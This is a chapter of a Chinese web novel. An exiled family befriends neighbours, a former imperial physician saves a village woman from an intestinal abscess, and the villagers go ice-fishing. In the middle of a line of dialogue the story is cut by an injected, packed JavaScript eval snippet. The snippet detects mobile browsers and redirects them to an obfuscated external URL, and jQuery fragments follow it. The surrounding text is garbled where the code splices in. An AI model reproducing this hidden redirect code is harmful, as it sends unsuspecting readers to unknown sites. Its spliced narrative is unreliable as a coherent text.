镇上没有海鱼卖,松江城里每到冬天倒是有冻鱼卖,听说是海边运过来的,价格也不贵。 杜氏知道安安想借着去松江城,再倒腾些东西出来,道:“等你爹回来了,问问你爹再说。” 杜氏看了眼外头:“你爹还有会儿也该回来了。” 顾稳去田家说事,快中午了才回来,杜氏一边叫他进屋吃饭,一边问他怎么去那么久。 “是不是田家留饭了?” 顾稳脱掉外出的靴子,换了双布鞋,笑道:“田家比我们家还不容易,哪好在田家用饭。” 顾稳去厨房端了热水洗手回来,杜氏给他盛了碗米汤,又给他夹包子。 米汤不烫嘴了,顾稳喝了口米汤润润嘴,才道:“回来的路上碰到罗家大儿子了,说了会儿话。” “哦,他们出门卖柴火?” “不是,罗大郎他爹腿脚不好,去张家换些膏药回去用。张家就是离咱们家最近的那户人家,正巧碰上,我跟罗大郎去张家走了一趟。” 杜氏:“是该去,咱们家来邻山村半个月了,还没去拜访过邻居,到底不好。” 顾稳也是这样想,和罗大郎去张家后他才知道,张家是五年前流放到松江城的,开了五年荒,今年才得了自由,换了民籍。 “张家在东源县那边开了一年荒,然后来的邻山村。张兄说这儿人少,清净,五年期满后就把户籍落到这儿了。” 顾文卿好奇:“张家因为什么流放?” “唉,张家也是倒霉。” 张世南流放前先皇还在,那会儿张世南才进太医院当太医,正巧碰上太子病重不治,他虽不是主管太医,到底受了牵连。 五年前顾稳还是工部员外郎,以他们家的地位,家中纵使有人生病,也没资格请太医,但是京城内说到姓张的太医,杜氏想到一个人。 “这个张太医,不会是山东青州府那位神医的后人吧?” “那位张神医是张世南的祖父。张神医过世后,张兄的其他兄弟叔伯,都在青州自家医馆里坐诊,或是做药材生意。张家只有他这一个在医术上有些天分,年纪轻轻就考进了太医院。” “哎哟,可惜了。” 顾佑安看她爹:“一个新进太医院的年轻人,就能接触到太子了?” 顾稳赞赏地看了女儿一眼:“安安问到点上了。” 张世南的祖父曾是太医院掌院,说不准太医院里就有他祖父曾经的敌人给他挖坑。 顾佑安道:“也可能是见他二十来岁就靠本事进太医院,有人怕他又是下一个神医,忌惮他,提前扫清障碍。” 杜氏叹道:“有人的地方就有争斗,没有容易的。” 顾稳嗯了声:“正是这话。” 顾文卿吃饱了,放下碗筷,笑着道:“我看安安很适合官场,我就没见过哪个小娘子像她这般明白的。” 顾佑安淡淡一笑,在大周朝,小娘子再聪慧又能如何? 安安开了慧,又曾学得一般本事,却没有往上走的机会,顾稳也觉得可惜。 爹娘和哥哥都替她可惜,顾佑安却不觉得,当不了官,还可以做其他事情,经商、种地或是学医、读书,不拘哪种,虽然难了些,还是要尽力去学门本事。 大周朝不比现代,越是难越是要手握资源,说不准就这就是全家的生路。 在顾佑安看来,大周朝政权不是很稳定,说不准哪日就乱起来了。 人无远虑,必有近忧,还是早做打算的好。 19.第 19 章 顾稳和顾佑安父女俩都觉得要跟张家人好好处,远亲不如近邻,身边就有个厉害的大夫,简直是求都求不来的好事。 今年冬月二十一是冬至,赶在冬至前两日,顾稳夫妻带着大女儿去了趟松江城。 一家三口在松江城歇了一晚上,隔天下午回来,背了满满两背篓东西,其中就有一背篓冻海鱼。 杜氏选了三条海鱼出来,给田家两条海鱼叫顾文卿送去,她亲自拿了条海鱼去张家。 杜氏是个会说话的,况且妇人间能说的话多,杜氏才去张家头回,就跟张世南的妻子刘氏一见如故了。 杜氏送了条海鱼过去,刘氏回赠一碗自家做的大酱,说是自家做的酱好吃,无论是炖鱼、炒菜、做汤都很好。 别小看大酱,刘氏做的大酱放的盐多,盐在这儿是很值钱的,一碗大酱当作回礼也不便宜。 借此两家有了来往,又隔得近,杜氏去了张家两回,刘氏有空也带着做了一半的布鞋过来顾家说话。 刘氏过来,杜氏自然欢喜极了,两人坐一处说话,一个做布鞋一个补衣裳,说说笑笑,半下午就过去了。 傍晚刘氏归家,杜氏亲送到门口,等人走远了,关上院门回来,杜氏才说:“你们刘婶婶也是命苦,有孕时碰上流放,路上孩子没了,又伤了身子,除了大的那个,这些年再没怀上一个。” “娘,刘婶婶的大儿子多大了?叫什么名?”知道张家一家三口人,顾佑安只见过刘氏。 “叫张隐山,今年十五了,比你哥小一岁。” 也就是说,当初流放时张家的大儿子十岁。那时候张世南作为流犯既要开荒,又要照顾才流产不久的妻子,还要照看十岁的幼子,想一想就觉得艰难。 “张叔不是太医吗?松江城里肯定缺大夫吧,他怎么不去给人看病?”顾文卿觉得,当大夫肯定比种地能叫家里人过得好。 “你张叔自己不愿意,估计是因为流放的事情心里有疙瘩吧。” 顾文卿觉得不好,有疙瘩归有疙瘩,可明明能让一家人过得好些,何必带着妻小自苦? 知道张家是这样的情况,顾文卿对张家顿时没兴趣了。 不管顾文卿对张家是何种态度,人的本事不会因任何人的低看或是高看有任何不同。 当天半夜,田大郎焦急跑来顾家敲门。 “是谁敲门?” “顾叔,是我,我娘将才突然腹痛难忍,我来问问婶婶有没有什么法子能治?” 顾稳和杜氏顿时清醒了,两人连忙起身穿衣裳。 杜氏连声喊坏了坏了,腹痛之事可大可小,听田大郎这般说,杜氏断定是急症,只怕要遇到难事了。 顾佑安也起来了,利索穿好棉衣就跑去厨房。 顾文卿忙喊道:“安安做什么去?” 顾稳急跑去院子里打开门,田大郎进门急道:“我娘下午时就说肚子不舒服,以为是中午吃多了就没在意,谁知道半夜突然又疼起来,捂着右下腹疼的冒汗。杜婶婶,你可有法子?” “你个傻小子,我就会认些常见草药,这病我哪里会治啊。” 田大郎顿时红了眼眶,转身出门,道:“麻烦杜婶婶去我家跟我爹说一声,我去镇上请大夫。” 顾稳赶忙拦住他:“何必去近就远,咱们村里就有大夫。” “谁家?”田大郎着急地一把握住顾稳的胳膊。 “就我们邻居张家,张世南原是太医院的太医,他肯定有办法。” “太好了,简直太好了!顾叔,我……” “你别担心,我现在带你去张家请人。” 顾稳带着田大郎去敲张家的门,这时候顾佑安跑出来,怀里装着治腹痛的药,除此之外还有一盒金针。 杜氏一看到金针就知道这是安安外婆的东西,她连忙道:“不一定用到金针,就算要用,张世南那儿应该有。” “张世南流放到这儿,这些年又回避当大夫,我看他那儿恐怕没有。”顾佑安把金针塞给她娘:“这套是家里备用的,您拿去,万一用得着呢。药不一定对症,实在没法子您再想法子给白婶婶吃。” 这一路白氏对她不错,顾佑安不希望白氏因为缺医少药没了命。 顾文卿抱着穿好衣裳的妹妹出来,杜氏见了就骂人:“大半夜的这样冷,你把阿萱抱出来作甚,万一受凉生病了,看你爹不打你。” 顾文卿正想说给阿萱穿好衣裳了,阿萱突然打了个喷嚏,顾文卿赶忙抱着妹妹进屋。 杜氏接过金针揣怀里,又把治肚子疼的药揣兜里:“你进屋睡觉去,我从外头锁门。” “好,等白婶婶好了,您回来跟我们说一声。” “知道了。” 顾佑安回屋,脱掉外衣上炕休息,阿萱滚到她被窝里,打了个哈欠:“姐姐,白婶婶怎么了?” “白婶婶生病了。” “白婶婶要吃苦药呀。” 只要能治好,吃苦药倒是小事情。 顾文卿皱眉:“张家那个虽是太医,他们家没有药,就是看出是什么病也不好办呐。” “咱们家有药。” “娘路上扯的那些草药?” 顾佑安瞥他一眼:“别嫌弃娘找的那些药草,你路上几次受寒都是喝了娘煮的药汤好的。” “没嫌弃,我只是怕咱们家那点东拼西凑的药材不全。” 顾佑安扯了扯被子盖住阿萱肩膀,家里药材不全,空间里还有些。外婆去世后家里的中医馆就关了,中医馆里的药材都没处理,都还在药柜里搁着。 前几日做菜要用八角,家里没有,她去药柜里拿八角时看过药柜里其他药材,都还是好的,没受潮也没生虫,药味也足。 估计是因为神奇的空间的缘故,顾佑安发现一楼里放的东西好似能保鲜似的,放在楼上厨房里的芋头早就干瘪发芽了,一楼放着的芋头还跟刚拿到家中时一样新鲜。 后院树上摘的橙子、砂糖橘,她都装框里放在一楼保鲜。 这空间真是个宝贝,可惜地方窄了些,房子建筑占地一共就两百平,装不了多少东西。 想着想着,不知不觉睡着了,睡到一半突然被惊醒,好似听到外头有动静。 顾文卿坐起身来,连忙出去,见是娘回来了,他才松了口气。 杜氏催道:“安安,快帮我去找找,我记得家里存了些大黄的,我不记得放在哪里了。” 顾文卿道:“娘,不用叫安安,我去帮你找。” 杜氏叫他去歇着:“不用你。” 顾佑安穿好衣裳跟她娘去厨房,一进厨房杜氏就关上门,急道:“张大夫说你白婶婶得的是肠痈,将才扎了针,张大夫开了张药方出来,要红藤、蒲公英、生大黄、黄柏和川朴,你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15330563|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看这些药你那儿有没有。” “这些药都常见,肯定是有的,要多少。” “不用称,你随手抓就是了,张大夫自然知道一剂药要多少,咱们称好了拿过去反而说不清。” “好。” 家里没有包药的纸,杜氏找了几个小麻袋装好药材送去田家,这一过去,天都快亮了。 顾稳夫妻快午时才回来,说白氏的病症好转了,命算是捡回来了。 “张大夫不愧是张神医教出来的,当时你白婶婶疼得浑身冒汗,还吐了,张大夫几针扎下去,不过一会儿,你白婶婶就说好受多了。” “我拿了药过去,张大夫挑挑拣拣配了两副药出来,早上喝了一剂,上午喝了一剂,已然不疼了,我们回来的时候,你白婶婶都睡了。” 杜氏感叹:“有本事的人就是不一样,咱们家小的小弱的弱,以后需跟张家多交好。” 听说白婶婶没事了,顾佑安也松了口气。 白氏这次的病来得凶险,纵使是不疼了,白氏被田清德压在炕上休息了三五日才许她出门走动。 白氏好了,田家两兄弟去后山上打猎,在雪窝子里捡到几只冻死了的野鸡野兔子,给张家和顾家都送了一只。 田二郎来顾家送野鸡的时候刘氏也在,刘氏笑着道:“还有半月就是小年了,前头平安江早就冻瓷实了,按照以往的规矩,镇上的和咱们村里的人都会去江面上开洞撒网捞鱼,过年时,各家桌上也能添些荤腥。” “那感情好啊,什么时候去?” “等着吧,里正会来通知咱们。” 北方小年是腊月二十三,腊月二十那日,里正敲锣打鼓地通知各家,今儿要去平安江捞鱼,家家都需出力,否则就不给分鱼。 就等着呢,顾家、田家、张家全家出动,提桶的提桶,拿麻袋的拿麻袋,背背篓的背背篓。 阿萱坐在背篓里面哈哈笑着,被杜氏打了一巴掌,叫她把嘴捂住,不许她吸冷风。 张家的儿子张隐山跟田家两兄弟走一块儿,顾文卿过去跟他打招呼,张隐山笑得含蓄,话也不多,性情跟他爹娘倒是有几分相似。 “咚咚咚!” “捞鱼啦!” 平安江面上站满了人,男人们在冰面上打洞,整理渔网,一个个都不怕冷,肯卖力气。 妇人们不去掺和,有的抱着孩子在岸上看,有的跟相熟的聚在一块儿说笑,口音有南有北,说得热闹极了。 几个胆大的孩子在湖面上嬉闹,小小一个,因身上穿着厚衣裳,一个个瞧着都鼓鼓囊囊的,滑倒了也不疼。 那边三个孩子推搡着闹腾,有个孩子脚滑摔出去,若不是打洞的大人手快,这孩子只怕就要滑到冰洞子里了。 “这是谁家的熊孩子!” “也不管管!” 那孩子的娘不知道从哪儿跑出来,又是骂又是打的,小孩儿哇哇大哭,那嗓门大得,哭嚎得周遭人都听见了。 杜氏扭头跟刘氏说:“这孩子就该狠揍一番,这大冷的天掉进冰窟窿里还有活路?” 阿萱抬头挺胸:“娘,我就不闹腾,我可乖了。” 刘氏和白氏顿时大笑起来,都说这孩子可爱极了。 顾佑安也跟着笑,挺开心的,过年就该这般热闹。 热闹过个好年,祈求一家子顺遂安康,来年再谋其他。